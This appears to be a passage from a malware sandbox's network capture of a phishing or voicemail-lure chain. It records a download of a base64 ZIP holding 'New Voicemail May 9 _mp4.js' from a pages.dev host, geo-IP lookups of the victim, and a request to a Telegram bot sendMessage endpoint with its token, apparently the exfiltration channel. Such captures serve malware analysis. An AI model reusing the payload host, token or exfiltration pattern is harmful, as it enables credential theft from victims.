                                                                                                                                                                                      2024-05-10 19:31:49 UTC561INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:49 UTC235INData Raw: 65 7a 6f 6e 65 5f 6e 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: ezone_name": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:49 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      15192.168.2.449767172.66.47.264434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:49 UTC362OUTGET /voic.txt HTTP/1.1
                                                                                                                                                                                      Host: cviocemusikdanxcehal.pages.dev
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:49 UTC775INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:49 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Content-Length: 227784
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Cache-Control: public, max-age=0, must-revalidate
                                                                                                                                                                                      ETag: "ac9c7b672827dea8fecb5dcf05f52172"
                                                                                                                                                                                      referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MDCfWSQd2bEKzQB3iCWlb03Cz6q1rluSrzKJfhDGkwl5N8%2BpwvfzM9bsLGL68f%2Fb74jJE5VznqlKNNLJfpP8X2gmNpqkJuQZ%2FUuPO4r5SZcK9AKwXkmmUMHAkRTntB1ZR%2Brx2ojU3OEPPfr2Sj55bdI%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a0c1a47123f-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 55 45 73 44 42 42 51 41 41 41 41 49 41 4a 57 4e 71 56 67 53 52 62 4e 6a 6d 4a 6f 43 41 47 47 6a 43 51 41 62 41 41 41 41 54 6d 56 33 49 46 5a 76 61 57 4e 6c 62 57 46 70 62 43 42 4e 59 58 6b 67 4f 53 42 66 62 58 41 30 4c 6d 70 7a 33 46 33 4e 30 75 75 34 6a 64 32 6e 4b 75 2b 51 53 73 31 79 46 68 4a 4a 6b 4e 5a 69 46 72 4a 6c 76 30 53 36 71 6d 76 6d 45 62 4a 49 39 65 50 48 41 73 34 68 49 46 6e 2b 2b 65 37 74 32 33 30 7a 43 35 66 39 79 53 52 46 67 73 44 42 41 55 44 72 2b 2b 74 66 2f 76 57 2f 2f 2f 7a 62 72 2f 2f 31 61 79 36 6e 2f 2f 75 66 66 2f 7a 39 6c 39 2f 4b 2b 4d 74 76 6b 6e 2f 35 4c 5a 2f 75 4c 37 6d 2f 32 76 72 2b 39 2f 2b 2b 66 79 58 70 2f 72 4b 50 36 57 52 76 6b 37 37 56 32 2f 31 31 2f 37 4c 4f 39 39 65 39 54 37 33 33 62 30 57 2f 61 76 72 78 2f 6c 71
                                                                                                                                                                                      Data Ascii: UEsDBBQAAAAIAJWNqVgSRbNjmJoCAGGjCQAbAAAATmV3IFZvaWNlbWFpbCBNYXkgOSBfbXA0Lmpz3F3N0uu4jd2nKu+QSs1yFhJJkNZiFrJlv0S6qmvmEbJI9ePHAs4hIFn++e7t230zC5f9ySRFgsDBAUDr++tf/vW///zbr//1ay6n//uff/z9l9/K+Mtvkn/5LZ/uL7m/2vr+9/++fyXp/rKP6WRvk77V2/11/7LO99e9T733b0W/avrx/lq
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 78 78 73 64 38 2b 6d 32 30 4d 42 47 4b 49 69 65 59 63 51 45 30 62 6f 31 71 63 61 34 46 49 2b 47 46 5a 65 54 49 33 54 33 32 6a 2b 45 4a 5a 4a 41 41 31 34 55 5a 50 31 2f 78 35 78 76 62 63 6f 73 77 6d 64 47 2b 68 30 6b 38 65 35 55 53 5a 78 4c 54 30 38 47 76 30 2b 65 6e 30 4a 6a 6c 38 4f 35 6e 58 39 77 4f 37 73 6d 69 36 31 34 68 57 4e 77 75 6d 56 64 69 74 62 51 71 41 67 56 38 50 4d 64 76 68 78 32 4b 31 2f 39 52 71 4a 4e 69 50 6f 48 4b 39 34 37 37 44 79 36 4a 52 50 67 63 76 68 47 70 30 39 42 79 66 72 58 6d 4a 54 45 31 54 61 35 78 4b 4f 6d 32 31 38 78 39 75 35 71 55 69 58 49 50 6f 4c 56 68 39 43 6c 43 4f 30 33 4c 47 67 75 4e 6c 64 49 56 54 70 48 61 72 4c 6c 2b 2f 43 62 76 41 58 4b 72 2f 30 39 62 6d 65 67 76 42 43 74 42 62 6d 56 30 38 51 30 4f 74 6d 71 76 5a 44
                                                                                                                                                                                      Data Ascii: xxsd8+m20MBGKIieYcQE0bo1qca4FI+GFZeTI3T32j+EJZJAA14UZP1/x5xvbcoswmdG+h0k8e5USZxLT08Gv0+en0Jjl8O5nX9wO7smi614hWNwumVditbQqAgV8PMdvhx2K1/9RqJNiPoHK9477Dy6JRPgcvhGp09ByfrXmJTE1Ta5xKOm218x9u5qUiXIPoLVh9ClCO03LGguNldIVTpHarLl+/CbvAXKr/09bmegvBCtBbmV08Q0OtmqvZD
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 58 63 6d 4b 35 72 65 58 4d 49 70 43 43 58 6f 34 41 48 70 6a 67 48 2b 46 77 76 50 77 76 42 75 57 59 65 54 58 6d 6e 4d 79 45 6f 69 58 4e 4d 76 67 37 6c 79 44 6e 49 35 42 62 57 69 32 4e 70 42 52 35 42 52 6a 76 6c 30 6b 61 63 51 64 47 55 35 65 45 55 57 6e 35 51 33 5a 66 6e 74 6f 49 75 62 2b 7a 6f 39 58 6d 75 56 77 75 6e 33 48 72 51 68 6b 72 54 30 59 49 66 44 6e 72 42 32 50 53 55 6c 49 63 56 4e 7a 66 67 57 47 66 71 6a 6c 50 46 2b 36 5a 35 47 42 68 38 35 66 58 78 6d 2b 34 4d 47 68 7a 42 75 67 38 2f 33 71 72 4c 2f 31 4f 72 52 67 6a 51 30 31 2f 30 35 75 76 31 36 4f 48 50 32 39 73 48 32 4e 63 6d 4f 4b 6a 41 2f 45 70 33 2f 6d 69 54 30 33 64 30 2f 33 68 76 4b 64 65 2b 71 4c 67 59 56 73 4b 7a 39 54 6d 57 2b 33 66 4a 75 4f 35 59 44 37 6b 66 2f 5a 7a 65 4f 76 4a 47 48
                                                                                                                                                                                      Data Ascii: XcmK5reXMIpCCXo4AHpjgH+FwvPwvBuWYeTXmnMyEoiXNMvg7lyDnI5BbWi2NpBR5BRjvl0kacQdGU5eEUWn5Q3ZfntoIub+zo9XmuVwun3HrQhkrT0YIfDnrB2PSUlIcVNzfgWGfqjlPF+6Z5GBh85fXxm+4MGhzBug8/3qrL/1OrRgjQ01/05uv16OHP29sH2NcmOKjA/Ep3/miT03d0/3hvKde+qLgYVsKz9TmW+3fJuO5YD7kf/ZzeOvJGH
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 4e 62 62 5a 48 4c 2f 64 7a 38 76 6e 32 51 47 5a 77 79 32 6e 7a 64 75 36 46 62 42 36 6e 2f 4a 57 74 70 76 33 50 43 62 48 4f 66 46 51 6b 77 54 47 2b 79 66 72 71 35 38 57 2f 36 31 35 73 65 70 59 57 77 35 6f 47 6a 37 79 50 5a 4d 31 31 79 66 6e 48 7a 55 4d 57 76 7a 2f 44 33 46 61 32 38 76 76 5a 5a 4e 66 33 75 6b 56 61 38 4c 7a 39 44 35 39 2f 39 4f 67 68 4d 30 48 6b 6a 63 69 74 37 62 38 77 37 35 63 36 54 64 30 35 6d 59 35 38 31 35 79 2b 30 4a 34 4a 44 58 71 44 6a 61 30 58 72 4f 48 4e 65 42 75 62 5a 63 70 7a 78 5a 43 41 49 39 2b 36 62 35 55 65 6b 50 4d 37 51 38 39 50 2f 74 69 41 6e 4c 62 59 30 56 72 77 64 50 52 2b 77 4a 32 48 70 50 6c 6b 6c 61 6d 30 33 37 4f 64 72 58 78 4a 52 36 2b 47 2b 35 75 78 54 6d 2f 6b 67 2f 33 50 41 55 65 65 72 55 2f 58 46 52 35 54 38 47
                                                                                                                                                                                      Data Ascii: NbbZHL/dz8vn2QGZwy2nzdu6FbB6n/JWtpv3PCbHOfFQkwTG+yfrq58W/615sepYWw5oGj7yPZM11yfnHzUMWvz/D3Fa28vvZZNf3ukVa8Lz9D59/9OghM0Hkjcit7b8w75c6Td05mY5815y+0J4JDXqDja0XrOHNeBubZcpzxZCAI9+6b5UekPM7Q89P/tiAnLbY0VrwdPR+wJ2HpPlklam037OdrXxJR6+G+5uxTm/kg/3PAUeerU/XFR5T8G
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 50 6a 65 4f 52 44 51 44 2b 7a 50 77 67 2f 35 46 41 68 47 76 4a 4b 38 7a 39 69 42 42 72 34 4d 76 4c 39 68 58 6e 51 50 30 58 2f 55 51 65 74 6c 31 47 55 47 56 32 76 34 4a 63 71 56 66 57 71 44 62 74 50 73 4c 35 6a 44 61 6e 44 50 38 4b 66 56 46 62 57 4a 77 2f 47 45 5a 58 67 62 58 7a 77 59 38 71 70 41 50 39 56 76 41 52 2f 54 6b 42 4c 6b 65 67 6f 34 43 65 56 66 34 4c 6b 47 71 76 4e 4e 4d 59 48 74 68 63 4d 48 45 7a 38 6e 47 70 6b 2f 6d 37 39 66 4c 37 4c 38 62 79 66 54 64 30 47 48 36 50 36 36 66 50 4b 70 66 54 2b 35 33 56 46 63 78 6c 75 49 45 76 73 76 6b 54 49 4e 7a 72 6f 5a 39 31 54 55 43 4a 31 50 67 48 34 72 7a 77 43 59 4e 71 68 6c 77 4d 53 56 2f 67 56 31 64 6f 54 4f 7a 7a 62 66 7a 44 4e 79 44 2b 4c 33 65 49 79 4e 67 79 67 69 69 36 57 76 56 6e 34 4b 62 4e 59 46
                                                                                                                                                                                      Data Ascii: PjeORDQD+zPwg/5FAhGvJK8z9iBBr4MvL9hXnQP0X/UQetl1GUGV2v4JcqVfWqDbtPsL5jDanDP8KfVFbWJw/GEZXgbXzwY8qpAP9VvAR/TkBLkego4CeVf4LkGqvNNMYHthcMHEz8nGpk/m79fL7L8byfTd0GH6P66fPKpfT+53VFcxluIEvsvkTINzroZ91TUCJ1PgH4rzwCYNqhlwMSV/gV1doTOzzbfzDNyD+L3eIyNgygii6WvVn4KbNYF
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 50 64 55 4c 36 6a 54 74 79 41 4c 48 4a 55 76 39 42 33 34 48 56 41 6d 46 37 6d 5a 54 69 64 77 74 63 59 38 70 72 68 4d 45 7a 68 55 34 31 34 69 37 30 4a 65 77 74 38 51 46 58 49 37 77 66 37 6d 45 4a 38 69 50 69 47 2f 45 63 59 57 35 45 62 56 59 79 5a 79 50 34 47 39 4d 6a 2b 56 77 58 64 62 63 30 35 50 33 36 6a 38 68 6a 70 62 67 79 34 69 78 36 44 37 69 4a 78 6d 31 79 4d 55 4c 6b 52 43 33 45 69 75 44 39 6c 78 37 54 31 6e 41 58 7a 52 65 30 47 75 35 41 33 45 6b 33 4c 7a 73 64 72 67 65 6c 36 49 38 7a 6e 45 44 38 41 48 74 57 50 77 2b 68 6f 77 76 74 4a 66 49 43 62 73 68 38 79 47 77 43 33 68 59 7a 74 65 51 31 34 43 47 61 6c 4f 59 33 31 64 48 76 79 70 4a 6d 32 67 49 76 37 46 4c 31 73 62 75 45 50 33 42 64 51 4a 63 46 66 36 45 48 4a 71 58 65 66 46 75 5a 6d 4f 6b 5a 30 44
                                                                                                                                                                                      Data Ascii: PdUL6jTtyALHJUv9B34HVAmF7mZTidwtcY8prhMEzhU414i70Jewt8QFXI7wf7mEJ8iPiG/EcYW5EbVYyZyP4G9Mj+VwXdbc05P36j8hjpbgy4ix6D7iJxm1yMULkRC3EiuD9lx7T1nAXzRe0Gu5A3Ek3Lzsdrgel6I8znED8AHtWPw+howvtJfICbsh8yGwC3hYzteQ14CGalOY31dHvypJm2gIv7FL1sbuEP3BdQJcFf6EHJqXefFuZmOkZ0D
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 4e 4e 55 6a 47 66 47 41 77 62 35 46 6d 58 7a 6d 74 5a 47 79 38 65 6a 2b 6e 63 67 50 2b 43 57 43 71 50 34 59 51 52 4f 53 58 35 59 6e 4e 62 4b 65 43 34 49 69 46 65 6d 4a 31 66 74 54 6e 34 71 73 48 39 6b 4f 34 39 36 68 58 6b 78 72 51 4e 31 70 6e 49 64 38 6b 64 47 43 63 4c 48 6d 36 54 73 57 62 36 51 63 62 33 41 6d 79 74 61 4e 66 50 44 38 30 38 77 6f 56 37 67 66 66 77 4f 72 2b 72 32 4e 65 4b 4e 71 78 74 43 4f 72 58 6a 4a 38 61 34 79 37 55 44 52 53 54 6d 38 75 77 30 4a 2f 68 45 4a 76 61 4a 76 53 73 7a 63 45 4f 5a 6f 77 4c 44 6b 63 63 35 66 6d 6b 4e 6e 72 4d 79 62 4d 54 6a 45 6b 56 50 38 46 4e 2b 2f 35 57 35 31 66 4b 6a 31 41 2f 59 43 31 47 34 33 33 79 39 4b 76 37 52 50 70 52 31 6b 45 79 59 69 76 57 66 43 74 34 44 73 38 71 43 50 2b 5a 31 36 70 66 35 45 69 49 35
                                                                                                                                                                                      Data Ascii: NNUjGfGAwb5FmXzmtZGy8ej+ncgP+CWCqP4YQROSX5YnNbKeC4IiFemJ1ftTn4qsH9kO496hXkxrQN1pnId8kdGCcLHm6TsWb6Qcb3AmytaNfPD808woV7gffwOr+r2NeKNqxtCOrXjJ8a4y7UDRSTm8uw0J/hEJvaJvSszcEOZowLDkcc5fmkNnrMybMTjEkVP8FN+/5W51fKj1A/YC1G433y9Kv7RPpR1kEyYivWfCt4Ds8qCP+Z16pf5EiI5
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 4a 72 2f 57 31 30 57 38 4f 61 32 42 50 64 7a 36 31 44 31 2b 64 45 31 4d 72 77 47 65 77 79 56 57 35 31 50 52 62 71 55 2f 4a 6b 52 4e 50 67 63 6c 33 7a 52 4b 52 55 2f 61 59 70 74 30 64 59 6e 53 75 74 6d 2f 45 77 43 61 50 68 68 34 6f 61 71 51 65 6f 79 46 57 30 73 38 50 78 36 59 6e 65 59 2f 47 32 33 36 56 6e 79 42 69 43 6e 35 39 4e 38 39 4d 59 42 67 78 4e 2f 31 47 48 48 79 63 75 2f 56 55 4c 61 36 48 58 68 4e 31 38 31 6d 35 65 76 51 4e 57 43 75 34 48 72 32 6b 59 68 7a 39 49 38 6d 37 6e 4d 4a 54 63 51 2f 67 33 38 42 46 35 4a 6a 6e 30 63 75 61 4f 45 2b 50 78 4b 31 71 7a 74 53 7a 42 51 36 4c 48 47 73 59 63 46 47 48 59 6a 33 59 36 39 47 30 34 59 69 5a 72 36 71 7a 34 76 66 31 62 50 50 48 4c 42 7a 70 66 44 2f 73 58 36 66 31 63 66 69 49 77 34 79 77 6d 48 4f 39 7a 33
                                                                                                                                                                                      Data Ascii: Jr/W10W8Oa2BPdz61D1+dE1MrwGewyVW51PRbqU/JkRNPgcl3zRKRU/aYpt0dYnSutm/EwCaPhh4oaqQeoyFW0s8Px6YneY/G236VnyBiCn59N89MYBgxN/1GHHycu/VULa6HXhN181m5evQNWCu4Hr2kYhz9I8m7nMJTcQ/g38BF5Jjn0cuaOE+PxK1qztSzBQ6LHGsYcFGHYj3Y69G04YiZr6qz4vf1bPPHLBzpfD/sX6f1cfiIw4ywmHO9z3
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 6a 37 30 31 35 6d 4c 66 36 4d 47 64 32 34 72 63 41 31 63 4f 2f 4f 72 6d 58 61 79 37 58 43 72 37 46 33 46 67 66 58 41 47 51 55 65 53 4a 35 79 37 34 6d 52 39 74 44 34 78 61 73 36 49 2f 65 54 65 74 2f 4f 42 48 6f 62 32 33 50 45 68 76 6f 36 39 52 34 2f 32 72 70 6f 31 48 69 32 2b 30 61 50 31 6c 42 6d 6a 7a 72 4a 6a 4e 53 38 55 31 79 4c 2b 64 53 34 51 50 38 52 73 71 6f 61 6a 72 74 47 65 41 56 55 48 6a 50 6d 45 6e 42 47 6a 65 61 2f 54 35 36 37 4d 65 66 6c 37 2b 76 2f 38 72 72 6a 53 4e 35 44 50 42 6c 74 44 56 32 47 66 31 4b 62 4e 43 7a 79 45 7a 76 53 62 57 45 72 65 6a 5a 7a 65 56 38 58 6c 73 56 37 44 76 77 53 65 55 6d 2f 33 4f 56 47 65 52 31 6a 32 6e 46 50 31 55 36 37 4f 65 54 62 6d 36 31 4f 34 56 38 39 36 6e 4c 50 70 48 68 4f 75 4a 48 43 56 2f 44 37 39 53 6d 31
                                                                                                                                                                                      Data Ascii: j7015mLf6MGd24rcA1cO/OrmXay7XCr7F3FgfXAGQUeSJ5y74mR9tD4xas6I/eTet/OBHob23PEhvo69R4/2rpo1Hi2+0aP1lBmjzrJjNS8U1yL+dS4QP8RsqoajrtGeAVUHjPmEnBGjea/T567Mefl7+v/8rrjSN5DPBltDV2Gf1KbNCzyEzvSbWErejZzeV8XlsV7DvwSeUm/3OVGeR1j2nFP1U67OeTbm61O4V896nLPpHhOuJHCV/D79Sm1
                                                                                                                                                                                      2024-05-10 19:31:49 UTC1369INData Raw: 52 66 70 58 57 50 75 37 50 4e 4e 31 49 32 72 38 47 6a 55 71 4d 59 6a 44 76 33 63 6e 4d 2b 2b 4b 42 5a 56 30 35 76 50 79 76 58 31 61 50 6a 78 46 44 37 77 2b 5a 53 6f 55 63 53 6f 2f 4c 31 7a 33 71 49 6d 4a 4e 66 39 79 64 7a 4d 57 67 30 78 46 42 7a 65 34 68 7a 32 76 4c 33 72 37 2b 71 69 39 76 6e 44 50 63 6a 66 42 6c 38 70 6e 2f 32 6f 66 68 70 37 36 78 7a 70 73 63 47 57 38 73 46 79 70 76 70 4b 68 76 48 44 73 65 56 7a 31 66 4f 4e 72 31 78 50 34 73 37 6a 35 76 58 42 57 38 7a 66 64 31 34 70 35 6e 50 69 61 49 46 6a 54 38 4d 6e 79 56 66 6f 37 58 51 64 56 75 56 4f 59 6e 50 39 55 6d 44 39 57 42 4f 39 31 39 59 33 58 77 66 70 38 34 52 79 4b 61 76 39 4f 7a 34 76 75 63 58 6f 33 63 79 79 65 6b 72 47 36 78 7a 57 66 62 7a 69 45 2b 35 62 37 69 48 57 67 4a 6e 4d 38 32 79 39
                                                                                                                                                                                      Data Ascii: RfpXWPu7PNN1I2r8GjUqMYjDv3cnM++KBZV05vPyvX1aPjxFD7w+ZSoUcSo/L1z3qImJNf9ydzMWg0xFBze4hz2vL3r7+qi9vnDPcjfBl8pn/2ofhp76xzpscGW8sFypvpKhvHDseVz1fONr1xP4s7j5vXBW8zfd14p5nPiaIFjT8MnyVfo7XQdVuVOYnP9UmD9WBO919Y3Xwfp84RyKav9Oz4vucXo3cyyekrG6xzWfbziE+5b7iHWgJnM82y9


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      16192.168.2.449768104.21.25.1484434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:49 UTC343OUTGET / HTTP/1.1
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:50 UTC802INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:50 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9996
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDtkxTmiYI94pwtigfNq0diKacnzekvmCD%2FcHLYWkKBKrzR%2Bajc212yB%2B5kzqKYiVDWBSB37aCcsX1ot4YhnJBc7h6cEWz5h5I66ObMpAAeYBUCjOvneR9NdLeSgJw%2FsOFsrMoXd"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a0c4cac29ad-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:50 UTC567INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:50 UTC229INData Raw: 6e 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: name": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:50 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      17192.168.2.449769149.154.167.2204434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:50 UTC508OUTOPTIONS /bot7198128499:AAHSvX4jW6n9t45ItKyUTcn3TOm2bCJdS-s/sendMessage HTTP/1.1
                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Access-Control-Request-Method: POST
                                                                                                                                                                                      Access-Control-Request-Headers: content-type
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:50 UTC345INHTTP/1.1 204 No Content
                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:50 GMT
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Access-Control-Max-Age: 86400
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                      Access-Control-Allow-Headers: content-type
                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
